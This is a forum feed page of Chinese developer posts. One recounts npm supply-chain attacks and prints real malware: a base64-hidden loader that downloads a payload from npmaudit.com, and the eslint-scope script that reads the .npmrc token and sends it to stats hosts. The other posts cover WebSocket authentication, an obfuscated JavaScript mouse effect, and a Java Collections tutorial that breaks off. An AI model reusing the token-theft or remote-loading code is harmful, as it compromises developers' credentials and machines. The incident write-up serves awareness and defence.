那么作者到底干了点啥呢?



根本原因就是 "exports" 这个字段没有被正确定义,所以在 Node.js 12.16 及更高版本中使用这个库就会抛出如下异常:


Error [ERR_INVALID_PACKAGE_TARGET]: Invalid "exports" main target "index.js" defined in the package config 

这能怪谁呢,一个单行代码库也能被这么多项目使用,可谓是牵一发而动全身,这再一次证明了 JavaScript 生态的脆弱。


【恶意后门】getcookies


2018 年、Rocket.Chat 通过了一个看似不起眼的 PR,PR 里包括了几个基础依赖的升级:



mailparser 从版本 2.2.0 更新到 2.2.3 引入了一个名为 http-fetch-cookies 的间接依赖项,它有一个名为 express-cookies 的子依赖项,它依赖于一个名为 getcookies 的包。 getcookies 包含一个恶意的后门。


工作原理是解析用户提供的 HTTP request.headers,然后寻找特定格式的数据,为后门提供三个不同的命令:



  • 重置代码缓冲区。

  • 通过调用 vm.runInThisContext 提供 module.exports、required、req、resnext 作为参数来执行位于缓冲区中的代码。

  • 将远程代码加载到内存中以供执行。


后续 ,npm 删除了 http-fetch-cookies、express-cookies、get-cookiesmailparser 2.2.3,并且在官方博客上披露了这次事件:



mailparser 本来是一个古老的用 JavaScript 解析电子邮件的 NPM 包。


但是后来包作者宣布不再维护了,社区也提供了新的替代包:Nodemailer


尽管包作者标记了弃用,这个包每周仍有数十万次的下载量,黑客就会专挑这种作者已经放弃维护,并且下载量还高的库下手,在其中引入了一个不起眼的间接依赖 get-cookies,中间还加了两层,包名也都挺正常的,根本没有人发现什么异常。


所以,作者都不维护了,大家也就都别再用了,这意味着没人对它的安全负责了...


【社会工程学】event-stream



GitHub 用户 right9ctrl 发布了一个恶意 NPM 包 flatmap-stream


随后 right9ctrl 利用社会工程学开始在 event-stream 上提一些问题,并且开始贡献一些代码,随后不久他骗取了主作者的信任,并且也成了 event-stream 的一名核心贡献者,而且拥有了包的完整发布和管理权限。


随后,right9ctrl 悄无声息的为 event-stream 引入了一个新的依赖 flatmap-stream,并且发布了了一个新的版本,因为是核心贡献者引入的一个不起眼的依赖升级的改动,大家都没有注意。


直到一周之后,这个段时间包的下载量已经达到了 800 万次,才有人发现了这个问题:



通过对 flatmap-stream 代码进行更详细的检查,我们可以发现这是针对 Copay(一个安全的比特币钱包平台)的一次精准的针对性攻击。


恶意代码被下载了数百万次,并执行了数百万次,在这期间大量拥有 Copay 的开发者遭受了巨大的经济损失...


然而这一切的原因,只不过是一次简单的 JavaScript 依赖升级 ...


然而,运用社工来进行供应链攻击也不至这一个案例,就在今年 6 月份,Phylum 披露了一系列 NPM 恶意行为,然后他把这些归咎于一个朝鲜黑客组织,他们发起的针对科技公司员工个人账户的小规模社会工程活动



朝鲜的黑客组织刚开始会先尝试和他们的目标建立联系(通常是一些流行包的作者),然后在 GitHub 上发出一起协作开发这个库的邀请,成功后就会尝试在这些库中引入一些恶意的包,例如 js-cookie-parserxml-fast-decoderbtc-api-node,它们都会包含一段被 base64 简单编码过的特殊代码:


const os = require('os');
const path = require('path');
var fs = require('fs');
const w = '.electron';
const f = 'cache';
const va = 'darwin';
async function start(){
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
var dir = path.join(os.homedir(), w);
if (!fs.existsSync(dir)){
fs.mkdirSync(dir);
}
var axios = require('axios');
if (os.platform() == va){
var exec = require('child_process').exec;
exec('npm i --prefix=~/.electron ffi-napi', (error, stdout, stderr) => {
console.log(stderr);
});
}
var res = await axios.get('https://npmaudit.com/api/v4/init');
fs.writeFileSync(path.join(dir, f), res.data);
}
start()

所以,如果你是一个流行包的作者,千万不要轻信其他给你贡献代码的人,他们可能就是 "朝鲜" 黑客...


【NPM凭证泄漏】ESLint


2018 年,有用户在 ESLintIssue 反馈,加载了 eslint-escope 的项目似乎在执行恶意代码:



原因是攻击者大概在第三方漏洞中发现了 ESLint 维护者重复使用的电子邮件和密码,并使用它们登录了维护者的 npm 帐户,然后攻击者在维护者的 npm 帐户中生成了身份验证令牌。


随后,攻击者修改了 eslint-escope@3.7.2eslint-config-eslint@5.0.2 中的 package.json,添加了一个 postinstall 脚本来运行 build.js



build.jsPastebin 下载另一个脚本并使用 eval 执行其内容。


r.on("data", c => {
eval(c);
});

但是它不会等待请求完成,reqeuest 可能只发送了脚本的一部分,并且 eval 调用会失败并出现 SyntaxError,这就是问题的发现方式。


try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";

if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}

这个脚本会从用户的 .npmrc 中提取用于发布到 npm _authToken 并将其发送到 Referer 标头内的 histatsstatcounter


同样的问题也发生在过 conventional-changelog,也是因为发布者的 NPM 账号信息泄漏,导致攻击者插入了使用 require("child_process").spawn 执行恶意代码的脚本:



后来,ua-parser-js 作者的 NPM 账户被盗,攻击者在其中注入恶意代码:



所以,NPM 的发布权限其实也是挺脆弱的,只需要一个邮箱和密码,很多攻击者会使用非常简单的密码或者重复的密码,导致包的发布权限被攻击者接管。


后来,NPM 官方为了解决这一问题推出了双重身份验证机制 (2FA),启用后系统会提示你进行第二种形式的身份验证,然后再对你具有写入访问权限的帐户或包执行某些操作。根据你的 2FA 配置,系统将提示你使用安全密钥或基于时间的一次性密码 (TOTP)进行身份验证。


【manifest 混淆】node-canvas


一个 npm 包的 manifest 是独立于其 tarball 发布的,manifest 不会完全根据 tarball 的内容进行验证,生态系统普遍会默认认为 manifesttarball 的内容是一致的。



任何使用公共注册表的工具都很容易受到劫持。恶意攻击者可以隐藏恶意软件和脚本,把自己隐藏在在直接或间接依赖项中。在现实中对于这种受害者的例子也有很多,比如 node-canvas



感兴趣可以看我这篇文章:npm 生态系统存在巨大的安全隐患 文中详细介绍了这个问题。


【夹杂政治】node-ipc


这个或许大家都有所耳闻了,vue-cli 依赖项 node-ipc 包的作者 RIAEvangelist 是个反战人士。


百万周下载量的 npm 包以反战为名进行供应链投毒!



在 EW 战争的初期,RIAEvangelist 在包中植入一些恶意代码。源码经过压缩,简单地将一些关键字符串进行了 base64 编码。其行为是利用第三方服务探测用户 IP,针对俄罗斯和白俄罗斯 IP,会尝试覆盖当前目录、父目录和根目录的所有文件,把所有内容替换成


但是这种案例可不止这一个,下面是一些包含抗议性质的开源项目案例:



  • es5-ext: 一个主要用于 ECMAScript 的扩展库,尽管在两年内没有更新,却开始接收包含宣传和会增加资源使用的时区代码的常规更新,具体的政治宣传内容处于文件 _postinstall.js 中。

  • EventSource: 这个库可以在你的网站上显示政治标语。如果用户的时区是俄罗斯,它会用一个 15 秒的超时函数使用 alert() 。之后,这个库会在一个弹出窗口中打开一个政治/恶意网站。

  • Evolution CMS: 自2022年3月1日起,从版本 3.1.101.4.17 开始,在管理员面板上加入了政治图片。为了在没有任何政治标语下继续开发,该项目被派生成了 Evolution CMS 社区版。

  • voicybot: 是一个 Telegram 的机器人项,2022年3月2日,促销机器人消息被修改为政治标语。

  • yandex-xml-library(PHP): 这是一个非官方的 Yandex-XML PHP 库,有一个包含政治标语的版本被添加到 packagist,并且源文件已经在 GitHub 上被删除。

  • AWS Terraform 模块: 在代码中加入了反俄标语和无意义的变量。

  • Mistape WordPress 插件: 通过 Mistape 插件的一个漏洞,攻击者可以访问管理员部分,上传 UnderConstruction 插件,借此在网站主页显示任意信息。

  • SweetAlert2: 一个 JavaScript 弹窗库。库中加入了显示政治宣传和视频的代码。只有当用户在浏览器中选择了俄文,并且执行代码的网站位于 .ru/.su/.рф 区域时,此功能才会启动。



还有很多针对特定国家的项目,比如下面这些都是针对俄罗斯的:



  • Quake3e: 一个对 Quake III Arena 引擎进行改进的项目。在2022年2月26日,项目移除了对俄罗斯 MCST/Elbrus 平台的支持。

  • RESP.app / RedisDesktopManager: 一个 Redis 的图形用户界面。 项目移除了对俄语的翻译。

  • pnpm: 一个包管理器,项目中加入了反俄罗斯声明,并且来自俄罗斯和白俄罗斯的访问已被直接屏蔽。

  • Qalculate: 是一个跨平台的桌面计算器,在2022年3月14日,该项目去除了俄罗斯和白俄罗斯货币对应的国旗。

  • Yet Another Dialog: 一款允许你从命令行显示 GTK+ 对话框的程序。在2022年3月2日,该项目移除了俄语区域的支持。


最后


大家有什么看法,欢迎来评论区留言。


作者:ConardLi
来源:juejin.cn/post/7305984042640375817
收起阅读 »

WebSocket 鉴权实践:从入门到精通

web
WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。 使用场景 We...
继续阅读 »

WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。


alt


使用场景


WebSocket 鉴权在许多场景中都显得尤为重要。例如,实时聊天应用、在线协作工具、实时数据更新等情境都需要对 WebSocket 进行鉴权,以确保只有合法的用户或服务可以进行通信。通过本文的指导,你将更好地了解在何种场景下使用 WebSocket 鉴权是有意义的。


WebSocket 调试工具


要调试 WebSocket,那就需要一个好的调试工具,这里我比较推荐 Apifox。它支持调试 http(s)、WebSocket、Socket、gRPCDubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具!


alt


常见方法


方法 1:基于 Token 的鉴权


WebSocket 鉴权中,基于 Token 的方式是最为常见和灵活的一种。通过在连接时携带 Token,服务器可以验证用户的身份。以下是一个简单的示例:


const WebSocket = require('ws');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

// 验证token的合法性
if (isValidToken(token)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 2:基于签名的鉴权


另一种常见的鉴权方式是基于签名的方法。通过在连接时发送带有签名的信息,服务器验证签名的合法性。以下是一个简单的示例:


const WebSocket = require('ws');
const crypto = require('crypto');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

// 验证签名的合法性
if (isValidSignature(signature, data)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 3:基于 IP 白名单的鉴权


在某些情况下,你可能希望限制 WebSocket 连接只能来自特定 IP 地址范围。这时可以使用基于 IP 白名单的鉴权方式。


const WebSocket = require('ws');

const allowedIPs = ['192.168.0.1', '10.0.0.2'];

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

// 验证连接是否在白名单中
if (allowedIPs.includes(clientIP)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 4:基于 OAuth 认证的鉴权


在需要与现有身份验证系统集成时,OAuth 认证是一种常见的选择。通过在连接时使用 OAuth 令牌,服务器可以验证用户的身份。


const WebSocket = require('ws');
const axios = require('axios');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

// 验证OAuth令牌的合法性
try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
} catch (error) {
// 验证失败,关闭连接
socket.close();
}
});

其他常见方法...


除了以上介绍的方式,还有一些其他的鉴权方法,如基于 API 密钥、HTTP 基本认证等。根据具体需求,选择最适合项目的方式。


实践案例


基于 Token 的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 Token 信息。

  2. 服务器接收 Token 信息并验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', ['Bearer YOUR_TOKEN']);

// 服务器端代码
server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

if (isValidToken(token)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于签名的鉴权实践



  1. 在 WebSocket 连接时,客户端计算签名并携带至服务器。

  2. 服务器接收签名信息,验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'X-Signature': calculateSignature() } });

// 服务器端代码
server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

if (isValidSignature(signature, data)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 IP 白名单的鉴权实践



  1. 在 WebSocket 连接时,服务器获取客户端 IP 地址。

  2. 验证 IP 地址是否在白名单中。

  3. 根据验证结果,允许或拒绝连接。


// 服务器端代码
server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

if (allowedIPs.includes(clientIP)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 OAuth 认证的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 OAuth 令牌。

  2. 服务器调用 OAuth 服务验证令牌的合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'Authorization': 'Bearer YOUR_ACCESS_TOKEN' } });

// 服务器端代码
server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
} catch (error) {
socket.close();
}
});

提示、技巧和注意事项



  • 在选择鉴权方式时,要根据项目的实际需求和安全性要求进行合理选择。

  • 对于基于 Token 的鉴权,建议使用 JWT(JSON Web Token)来提高安全性。

  • 在验证失败时,及时关闭连接,以防止未授权的访问。


在 Apifox 中调试 WebSocket


如果你要调试 WebSocket 接口,并确保你的应用程序能够正常工作。这时,一个强大的接口测试工具就会派上用场。


Apifox 是一个比 Postman 更强大的接口测试工具,Apifox = Postman + Swagger + Mock + JMeter。它支持调试 http(s)、WebSocket、Socket、gRPC、Dubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具,所以强烈推荐去下载体验


首先在 Apifox 中新建一个 HTTP 项目,然后在项目中添加 WebSocket 接口。


alt


alt


接着输入 WebSocket 的服务端 URL,例如:ws://localhost:3000,然后保存并填写接口名称,然后确定即可。


alt


alt


点击“Message 选项”然后写入“你好啊,我是 Apifox”,然后点击发送,你会看到服务端和其它客户端都接收到了信息,非常方便,快去试试吧


alt


以下用 Node.js 写的 WebSocket 服务端和客户端均收到了消息。


alt


总结


通过本文的介绍,你应该对 WebSocket 鉴权有了更清晰的认识。不同的鉴权方式各有优劣,你可以根据具体情况选择最适合自己项目的方式。在保障通信安全的同时,也能提供更好的用户体验。


参考链接



学习更多:



作者:Hong1
来源:juejin.cn/post/7304839912875982884
收起阅读 »

JS特效:跟随鼠标移动的小飞机

web
前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。 效果 源码 <!DOCTYPE html> <html> <head> <style> *{ margin: ...
继续阅读 »

前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。


效果



源码


<!DOCTYPE html>
<html>

<head>
<style>
*{
margin: 0;
padding: 0;
}
body{
height: 100vh;
background: linear-gradient(200deg,#005bea,#00c6fb);
}
#plane{
color: #fff;
font-size: 70px;
position: absolute;
display: flex;
justify-content: center;
align-items: center;
}
</style>
</head>

<body>
<div id="plane">
<i aria-hidden="true"></i>
</div>
<script>
var plane=document.getElementById('plane');
var deg=0,ex=0,ey=0,vx=0,vy=0,count=0;
window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}
setInterval(draw,1);
</script>
</body>

</html>

实现的原理是:当鼠标在网页中移动时,获取鼠标位置,同时设置飞机指向、并移动飞机位置,直至飞机到达鼠标位置。


重点代码是mousemove事件接管函数和移动飞机位置函数draw。


window.addEventListener('mousemove',(e)=>{
ex=e.pageX-plane.offsetLeft-plane.clientWidth/2;
ey=e.pageY-plane.offsetTop-plane.clientHeight/2;
deg=360*Math.atan(ey/ex)/(2*Math.PI)+5;
if(ex<0){
deg+=180;
}
count=0;
})
function draw(){
plane.style.transform='rotate('+deg+'deg)';
if(count<100){
vx+=ex/100;
vy+=ey/100;
}
plane.style.left=vx+'px';
plane.style.top=vy+'px';
count++;
}

由代码中即可知道实现逻辑。如果想独自享用此功能,不想让他人知道原理、不想被他人修改,可以将核心JS代码进行混淆加密。


比如用JShaman对上述JS代码加密。



加密后的代码,会成为以下形式,使用起来还跟加密前一样。


window.addEventListener('mousemove',(e)=>{
(function(_0x5e2a74,_0x3d2559){var _0x5e2331=_0x5e2a74();function _0x4514c1(_0x56e61e,_0x24cc3c,_0xced7a6,_0x2eee50,_0x30fa4e){return _0xc941(_0xced7a6- -0x94,_0x2eee50);}function _0x447b09(_0x2bf694,_0x3c6d87,_0x2bfc91,_0x14456b,_0x28fe70){return _0xc941(_0x3c6d87- -0x3b,_0x28fe70);}function _0x12756f(_0x58c768,_0x1cd95f,_0x188173,_0x5baeba,_0x59fb94){return _0xc941(_0x1cd95f- -0x32b,_0x5baeba);}function _0x3c2cef(_0x3a3ce5,_0x274c07,_0x15ea13,_0x4aa242,_0x449d14){return _0xc941(_0x274c07- -0x1f6,_0x4aa242);}function _0x5516f2(_0x51af28,_0x27889e,_0x34f94f,_0x3756b4,_0x34e9e7){return _0xc941(_0x51af28-0x6e,_0x34e9e7);}while(!![]){try{var _0x1361cf=parseInt(_0x12756f(-0x31f,-0x322,-0x31b,-0x324,-0x319))/0x1*(-parseInt(_0x12756f(-0x330,-0x329,-0x333,-0x322,-0x326))/0x2)+-parseInt(_0x3c2cef(-0x1f0,-0x1f2,-0x1e9,-0x1f1,-0x1f2))/0x3*(-parseInt(_0x4514c1(-0x85,-0x83,-0x8c,-0x8a,-0x96))/0x4)+-parseInt(_0x5516f2(0x79,0x7f,0x72,0x71,0x73))/0x5*(-parseInt(_0x447b09(-0x44,-0x3b,-0x42,-0x38,-0x3b))/0x6)+parseInt(_0x4514c1(-0x88,-0x8a,-0x8d,-0x97,-0x88))/0x7*(-parseInt(_0x4514c1(-0x8b,-0x88,-0x91,-0x8f,-0x8c))/0x8)+parseInt(_0x447b09(-0x25,-0x28,-0x24,-0x30,-0x2e))/0x9*(-parseInt(_0x4514c1(-0x7c,-0x83,-0x85,-0x7d,-0x85))/0xa)+-parseInt(_0x5516f2(0x74,0x74,0x71,0x7b,0x79))/0xb+-parseInt(_0x4514c1(-0x8c,-0x95,-0x8f,-0x91,-0x91))/0xc*(-parseInt(_0x447b09(-0x2c,-0x2a,-0x29,-0x22,-0x23))/0xd);if(_0x1361cf===_0x3d2559){break;}else{_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x12462f){_0x5e2331["\u0070\u0075\u0073\u0068"](_0x5e2331["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x2138,0x5eefa);function _0x2138(){var _0x3f76d0=["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074","\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068","JrgkzB035".split("").reverse().join(""),"Xegap".split("").reverse().join(""),"SyQffy23819".split("").reverse().join(""),"poTtesffo".split("").reverse().join(""),"ipqYMm50751".split("").reverse().join(""),"AqmLUY411".split("").reverse().join(""),"\u0070\u0061\u0067\u0065\u0059","xWOaei206".split("").reverse().join(""),"LeZbPZ428".split("").reverse().join(""),"GxweQb21".split("").reverse().join(""),"pskjDZ465".split("").reverse().join(""),"jljclz6152674".split("").reverse().join(""),'26985yqvBrA','301452FNGmnL',"\u0031\u0039\u0031\u006c\u0059\u004b\u004d\u0072\u006d",'offsetLeft',"fSfKNj525391".split("").reverse().join(""),"\u0061\u0074\u0061\u006e"];_0x2138=function(){return _0x3f76d0;};return _0x2138();}ex=e['pageX']-plane['offsetLeft']-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0057\u0069\u0064\u0074\u0068"]/(0xe2994^0xe2996);ey=e["\u0070\u0061\u0067\u0065\u0059"]-plane["\u006f\u0066\u0066\u0073\u0065\u0074\u0054\u006f\u0070"]-plane["\u0063\u006c\u0069\u0065\u006e\u0074\u0048\u0065\u0069\u0067\u0068\u0074"]/(0xc7c08^0xc7c0a);deg=(0xc5a81^0xc5be9)*Math["\u0061\u0074\u0061\u006e"](ey/ex)/((0x350f1^0x350f3)*Math['PI'])+(0x4ebc3^0x4ebc6);if(ex<(0x7f58a^0x7f58a)){deg+=0x3611b^0x361af;}function _0xc941(_0x20d997,_0x21385e){var _0xc941d=_0x2138();_0xc941=function(_0x1c87e9,_0x16a339){_0x1c87e9=_0x1c87e9-0x0;var _0x1c1df3=_0xc941d[_0x1c87e9];return _0x1c1df3;};return _0xc941(_0x20d997,_0x21385e);}count=0x84c22^0x84c22;
})
function draw(){
(function(_0x228270,_0x49c561){function _0x1a7320(_0x4d8e0a,_0x4a154f,_0x39e417,_0x3351c1,_0x309eea){return _0x38eb(_0x4a154f- -0x390,_0x39e417);}var _0x5708e4=_0x228270();function _0x9be745(_0x32a1,_0x343ed0,_0xb88373,_0x328e52,_0x923750){return _0x38eb(_0xb88373-0x37,_0x923750);}function _0x556527(_0x56c686,_0x3c0b6e,_0x2f3681,_0x32b652,_0x3a844e){return _0x38eb(_0x3a844e-0x356,_0x32b652);}function _0x1cff65(_0x4a8e90,_0x538331,_0x35ecc0,_0x27c079,_0x1ad156){return _0x38eb(_0x35ecc0-0x295,_0x27c079);}function _0x1ca2c5(_0x1ae530,_0x12dbfa,_0xff68f6,_0x370048,_0xcf6eb1){return _0x38eb(_0x1ae530-0x244,_0xcf6eb1);}while(!![]){try{var _0x4d0db3=parseInt(_0x1ca2c5(0x24c,0x247,0x252,0x248,0x252))/0x1*(parseInt(_0x556527(0x35f,0x350,0x35c,0x355,0x358))/0x2)+-parseInt(_0x556527(0x365,0x363,0x360,0x35d,0x35d))/0x3*(-parseInt(_0x556527(0x358,0x358,0x355,0x355,0x35a))/0x4)+-parseInt(_0x1cff65(0x293,0x29c,0x29a,0x293,0x294))/0x5+parseInt(_0x1ca2c5(0x24f,0x24b,0x255,0x248,0x254))/0x6+-parseInt(_0x1ca2c5(0x245,0x240,0x23f,0x248,0x24a))/0x7+-parseInt(_0x556527(0x367,0x362,0x367,0x360,0x360))/0x8+parseInt(_0x556527(0x35a,0x363,0x365,0x35a,0x362))/0x9;if(_0x4d0db3===_0x49c561){break;}else{_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}catch(_0x4057b8){_0x5708e4["\u0070\u0075\u0073\u0068"](_0x5708e4["\u0073\u0068\u0069\u0066\u0074"]());}}})(_0x15e5,0x6b59f);function _0x4da06f(_0x10d466,_0x20ab24,_0x408802,_0x869b10,_0x64532e){return _0x38eb(_0x869b10-0x294,_0x20ab24);}plane["\u0073\u0074\u0079\u006c\u0065"]["\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d"]=_0x4da06f(0x297,0x29b,0x299,0x297,0x298)+deg+_0x4da06f(0x2a5,0x2a2,0x2a4,0x2a1,0x29d);function _0x38eb(_0xf88e34,_0x15e593){var _0x38eb7d=_0x15e5();_0x38eb=function(_0x1b2a3d,_0x46bf66){_0x1b2a3d=_0x1b2a3d-0x0;var _0x23a19a=_0x38eb7d[_0x1b2a3d];return _0x23a19a;};return _0x38eb(_0xf88e34,_0x15e593);}if(count<(0xcf802^0xcf866)){vx+=ex/(0xecfb8^0xecfdc);vy+=ey/(0x667f3^0x66797);}function _0x15e5(){var _0x1a56cf=["KMHgjO12".split("").reverse().join(""),"pot".split("").reverse().join(""),"\u0036\u0033\u0034\u0032\u0035\u0036\u0038\u004f\u006d\u0048\u0065\u0055\u0057","\u0034\u0030\u0031\u0038\u0031\u0032\u0032\u0044\u006a\u0057\u006e\u0058\u0043","VmFQAb2646603".split("").reverse().join(""),")ged".split("").reverse().join(""),"elyts".split("").reverse().join(""),"\u0074\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d","VgmPeO2141391".split("").reverse().join(""),"kvRLZy63064".split("").reverse().join(""),"(etator".split("").reverse().join(""),"\u0031\u0031\u0032\u0034\u0072\u0055\u0046\u0046\u007a\u007a","TRaCTh0401222".split("").reverse().join(""),"\u006c\u0065\u0066\u0074","oLkDOm9984".split("").reverse().join("")];_0x15e5=function(){return _0x1a56cf;};return _0x15e5();}plane['style']['left']=vx+"\u0070\u0078";plane["\u0073\u0074\u0079\u006c\u0065"]['top']=vy+"xp".split("").reverse().join("");function _0x27ce93(_0x4b6716,_0x4781f6,_0x57584e,_0x4dbb11,_0x295d49){return _0x38eb(_0x4b6716-0x233,_0x4781f6);}count++;
}

一个小小的JS特效,但效果挺不错。


感谢阅读。劳逸结合,写代码久了,休息休息。


作者:w2sfot
来源:juejin.cn/post/7302338286769520692
收起阅读 »

从入门到精通:集合工具类Collections全攻略!

前言在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合Collections 工具类介绍Collections 是...
继续阅读 »

前言
在之前的文章中,我们学习了单列集合的两大接口及其常用的实现类;在这些接口或实现类中,为我们提供了不少的实用的方法。
本篇文章我们来介绍一种java开发者为我们提供了一个工具类,让我们更好的来使用集合

Collections 工具类

介绍

Collections 是一个操作Set,List,Map等的集合工具类
它提供了一系列静态的方法对集合元素进行排序、查询和修改等的操作,还提供了对集合对象设置不可变、对集合对象实现同步控制等方法。

常用功能

通过java的api文档,可以看到Collections了很多方法,我们在此就挑选几个常用的功能,为大家演示一下使用:

● public static void shuffle(List<?> list) 打乱顺序:打乱集合顺序。
● public static <T> void sort(List<T> list):根据元素的自然顺序 对指定列表按升序进行排序
● public static <T> void sort(List<T> list,Comparator<? super T> ): 根据指定比较器产生的顺序对指定列表进行排序。

直接撸代码:

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

public class Demo1Collections {

public static void main(String[] args) {

//创建一个List 集合
List<Integer> numbers = new ArrayList<>();
//在这里咱们顺便使用下Collections的addAll()方法
Collections.addAll(numbers, 3,34,345,66,22,1);

System.out.println("原集合" + numbers);
//使用排序算法
Collections.sort(numbers);
System.out.println("排序之后"+numbers);

Collections.shuffle(numbers);
System.out.println("乱序之后" + numbers);

//创建一个字符串List 集合
List<String> stringDemo = new ArrayList<>();
stringDemo.add("nihao");
stringDemo.add("hello");
stringDemo.add("wolrd");
stringDemo.add("all");
System.out.println("原集合" + stringDemo);
//使用排序算法
Collections.sort(stringDemo);
System.out.println("排序之后"+stringDemo);

List<Person> people = new ArrayList<>();
people.add(new Person("秋香", 15));
people.add(new Person("石榴姐", 19));
people.add(new Person("唐伯虎", 12));
System.out.println("--" + people);

//如果Person类中,这里报错了,为什么呢? 在这里埋个伏笔,且看下文
Collections.sort(people);

System.out.println("----" + people);

}
}

Comparable 和 Comparator

Comparable 接口实现 集合排序

我们上面代码最后一个例子,使用了我们自定义的类型,在使用排序时,给我们报错了?这是为什么呢?整型包装类和字符串类型,和我们的自定义类型有什么区别?
那我们通过API文档,看看这个方法,可以看到 根据元素的自然顺序 对指定列表按升序进行排序。列表中的所有元素都必须实现 Comparable 接口。此外,列表中的所有元素都必须是可相互比较的。 而Comparable 接口只有一个方法 int compareTo(T o)比较此对象与指定对象的顺序。

编程学习,从云端源想开始,课程视频、在线书籍、在线编程、一对一咨询……你想要的全部学习资源这里都有,重点是统统免费!点这里即可查看

说的白话一些,就是我们使用自定义类型,进行集合排序的时候,需要实现这个Comparable接口,并且重写 compareTo(T o)。

public class Person2 implements Comparable<Person2>{
private String name;
private int age;

public Person2(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person2{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public int compareTo(Person2 o) {
//重写方法如何写呢?
// return 0; //默认元素都是相同的
//自定义规则 我们通过person 的年龄进行比较 this 代表本身,而 o 代表传参的person对象
//这里的比较规则
// ==》 升序 自己 - 别人
// ==》 降序 别人 - 自己
// return this.getAge() - o.getAge(); //升
return o.getAge() - this.getAge(); //降

}
}


public class Demo2Comparable {

